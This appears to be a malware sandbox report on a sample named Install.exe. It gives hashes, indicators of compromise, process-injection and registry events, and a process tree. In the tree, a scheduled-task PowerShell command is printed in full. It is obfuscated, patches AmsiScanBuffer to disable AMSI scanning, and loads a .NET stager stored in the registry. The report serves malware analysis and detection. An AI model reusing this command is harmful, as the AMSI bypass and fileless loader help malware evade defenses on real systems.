b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
26s
max time network
17s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
03/05/2024, 16:42

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General

Target

Install.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4536 created 584	4536	powershell.EXE	5

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4536 set thread context of 3724	4536	powershell.EXE	75

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\2717123927\1590785016.pri	Explorer.EXE

Modifies data under HKEY_USERS 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4536	powershell.EXE
4536	powershell.EXE
4536	powershell.EXE
4536	powershell.EXE
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe
3724	dllhost.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
4888	Process not Found
5044	Process not Found
848	Process not Found
920	Process not Found
4516	Process not Found
1684	Process not Found
2604	Process not Found
4900	Process not Found
3760	Process not Found
1992	Process not Found
2892	Process not Found
3012	Process not Found
1280	Process not Found
4184	Process not Found
2584	Process not Found
1480	Process not Found
1800	Process not Found
3164	Process not Found
4836	Process not Found
1856	Process not Found
2964	Process not Found
3892	Process not Found
2456	Process not Found
3300	Process not Found
4688	Process not Found
1228	Process not Found
4896	Process not Found
2924	Process not Found
4376	Process not Found
3208	Process not Found
4036	Process not Found
1120	Process not Found
4596	Process not Found
4620	Process not Found
5012	Process not Found
5100	Process not Found
3252	Process not Found
5108	Process not Found
3736	Process not Found
4840	Process not Found
2700	Process not Found
3500	Process not Found
164	Process not Found
4868	Process not Found
4972	Process not Found
4908	Process not Found
1512	Process not Found
4108	Process not Found
4872	Process not Found
1332	Process not Found
4968	Process not Found
976	Process not Found
424	Process not Found
1004	Process not Found
3640	Process not Found
1628	Process not Found
428	Process not Found
4156	Process not Found
2068	Process not Found
4960	Process not Found
4428	Process not Found
4568	Process not Found
604	Process not Found
32	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	powershell.EXE
Token: SeDebugPrivilege	4536	powershell.EXE
Token: SeDebugPrivilege	3724	dllhost.exe
Token: SeShutdownPrivilege	3264	Explorer.EXE
Token: SeCreatePagefilePrivilege	3264	Explorer.EXE
Token: SeAuditPrivilege	2232	svchost.exe
Token: SeAuditPrivilege	2232	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 4536 wrote to memory of 3724	4536	powershell.EXE	75
PID 3724 wrote to memory of 584	3724	dllhost.exe	5
PID 3724 wrote to memory of 636	3724	dllhost.exe	7
PID 3724 wrote to memory of 732	3724	dllhost.exe	10
PID 3724 wrote to memory of 896	3724	dllhost.exe	13
PID 3724 wrote to memory of 992	3724	dllhost.exe	14
PID 3724 wrote to memory of 344	3724	dllhost.exe	15
PID 3724 wrote to memory of 580	3724	dllhost.exe	16
PID 3724 wrote to memory of 1040	3724	dllhost.exe	18
PID 3724 wrote to memory of 1056	3724	dllhost.exe	19
PID 3724 wrote to memory of 1104	3724	dllhost.exe	20
PID 3724 wrote to memory of 1172	3724	dllhost.exe	21
PID 3724 wrote to memory of 1204	3724	dllhost.exe	22
PID 3724 wrote to memory of 1308	3724	dllhost.exe	23
PID 3724 wrote to memory of 1360	3724	dllhost.exe	24
PID 3724 wrote to memory of 1380	3724	dllhost.exe	25
PID 3724 wrote to memory of 1408	3724	dllhost.exe	26
PID 3724 wrote to memory of 1460	3724	dllhost.exe	27
PID 3724 wrote to memory of 1500	3724	dllhost.exe	28
PID 3724 wrote to memory of 1532	3724	dllhost.exe	29
PID 3724 wrote to memory of 1596	3724	dllhost.exe	30
PID 3724 wrote to memory of 1688	3724	dllhost.exe	31
PID 3724 wrote to memory of 1704	3724	dllhost.exe	32
PID 3724 wrote to memory of 1808	3724	dllhost.exe	33
PID 3724 wrote to memory of 1820	3724	dllhost.exe	34
PID 3724 wrote to memory of 1840	3724	dllhost.exe	35
PID 3724 wrote to memory of 1916	3724	dllhost.exe	36
PID 3724 wrote to memory of 1960	3724	dllhost.exe	37
PID 3724 wrote to memory of 2044	3724	dllhost.exe	38
PID 1408 wrote to memory of 848	1408	svchost.exe	78
PID 1408 wrote to memory of 848	1408	svchost.exe	78
PID 3724 wrote to memory of 848	3724	dllhost.exe	78
PID 636 wrote to memory of 2444	636	lsass.exe	44
PID 3724 wrote to memory of 2232	3724	dllhost.exe	39
PID 3724 wrote to memory of 2260	3724	dllhost.exe	40
PID 636 wrote to memory of 2444	636	lsass.exe	44
PID 1408 wrote to memory of 1800	1408	svchost.exe	79
PID 1408 wrote to memory of 1800	1408	svchost.exe	79
PID 3724 wrote to memory of 1800	3724	dllhost.exe	79
PID 3724 wrote to memory of 2268	3724	dllhost.exe	41
PID 3724 wrote to memory of 2288	3724	dllhost.exe	42
PID 1408 wrote to memory of 3460	1408	svchost.exe	80
PID 1408 wrote to memory of 3460	1408	svchost.exe	80
PID 3724 wrote to memory of 3460	3724	dllhost.exe	80
PID 3724 wrote to memory of 2424	3724	dllhost.exe	43
PID 636 wrote to memory of 2444	636	lsass.exe	44
PID 3724 wrote to memory of 2444	3724	dllhost.exe	44
PID 636 wrote to memory of 2444	636	lsass.exe	44
PID 1408 wrote to memory of 4972	1408	svchost.exe	81
PID 1408 wrote to memory of 4972	1408	svchost.exe	81
PID 3724 wrote to memory of 4972	3724	dllhost.exe	81
PID 3724 wrote to memory of 2464	3724	dllhost.exe	45
PID 3724 wrote to memory of 2476	3724	dllhost.exe	46
PID 1408 wrote to memory of 588	1408	svchost.exe	82
PID 1408 wrote to memory of 588	1408	svchost.exe	82
PID 3724 wrote to memory of 588	3724	dllhost.exe	82
PID 3724 wrote to memory of 2488	3724	dllhost.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:992
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a06dcf06-246b-4fd2-9c0b-bbeee77d4d3d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3724

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:580

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:1040

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1056

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1104
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:trTsIbtksmih{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QenlCcUSUmMXJu,[Parameter(Position=1)][Type]$eyGUsQJiYA)$LKHDpDAhout=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+'ory'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'T'+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+'s'+'i'+''+[Char](67)+'l'+'a'+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$LKHDpDAhout.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+'H'+'i'+[Char](100)+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$QenlCcUSUmMXJu).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+'i'+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$LKHDpDAhout.DefineMethod(''+[Char](73)+''+'n'+'v'+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+'d'+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+'e'+[Char](119)+''+'S'+'lot'+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+'l',$eyGUsQJiYA,$QenlCcUSUmMXJu).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $LKHDpDAhout.CreateType();}$aIJTXfwVlgJiV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+'t'+[Char](101)+'m'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+'o'+'d'+[Char](115)+'');$UGrBMyyCBWCJCV=$aIJTXfwVlgJiV.GetMethod('Ge'+[Char](116)+'P'+'r'+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'S'+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HyUElLxRxKZQAoPFOfh=trTsIbtksmih @([String])([IntPtr]);$xCwlfVvzRKEpYGXrzwxlSj=trTsIbtksmih @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GXsUkrNdzqu=$aIJTXfwVlgJiV.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+'Ha'+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+'32'+'.'+'d'+'l'+''+'l'+'')));$KlfnhuIvfZmVQw=$UGrBMyyCBWCJCV.Invoke($Null,@([Object]$GXsUkrNdzqu,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+'b'+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$UdaacbYRLZVhSymzc=$UGrBMyyCBWCJCV.Invoke($Null,@([Object]$GXsUkrNdzqu,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l'+[Char](80)+'ro'+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$AuTrfxf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KlfnhuIvfZmVQw,$HyUElLxRxKZQAoPFOfh).Invoke(''+[Char](97)+'ms'+'i'+'.d'+[Char](108)+''+[Char](108)+'');$LYtTsXHcMKwhfrcxV=$UGrBMyyCBWCJCV.Invoke($Null,@([Object]$AuTrfxf,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'fe'+[Char](114)+'')));$BKnGymbeyC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UdaacbYRLZVhSymzc,$xCwlfVvzRKEpYGXrzwxlSj).Invoke($LYtTsXHcMKwhfrcxV,[uint32]8,4,[ref]$BKnGymbeyC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$LYtTsXHcMKwhfrcxV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UdaacbYRLZVhSymzc,$xCwlfVvzRKEpYGXrzwxlSj).Invoke($LYtTsXHcMKwhfrcxV,[uint32]8,0x20,[ref]$BKnGymbeyC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'WA'+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1172

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1204

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1308

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1408
- \??\c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:848
- \??\c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1800
- \??\c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3460
- \??\c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4972
- \??\c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:588
- \??\c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3272

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1460

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1500

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1532

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1840

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1916

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1960

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:2044

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2232

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2268

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2288

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2424

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2444

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2488

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2516

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2860

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3044

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:2688

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3264
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3780

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3964

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:5104

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2512

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4328

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2612

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:4712

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:1796

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\Temp\__PSScriptPolicyTest_rfbyowf5.xus.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
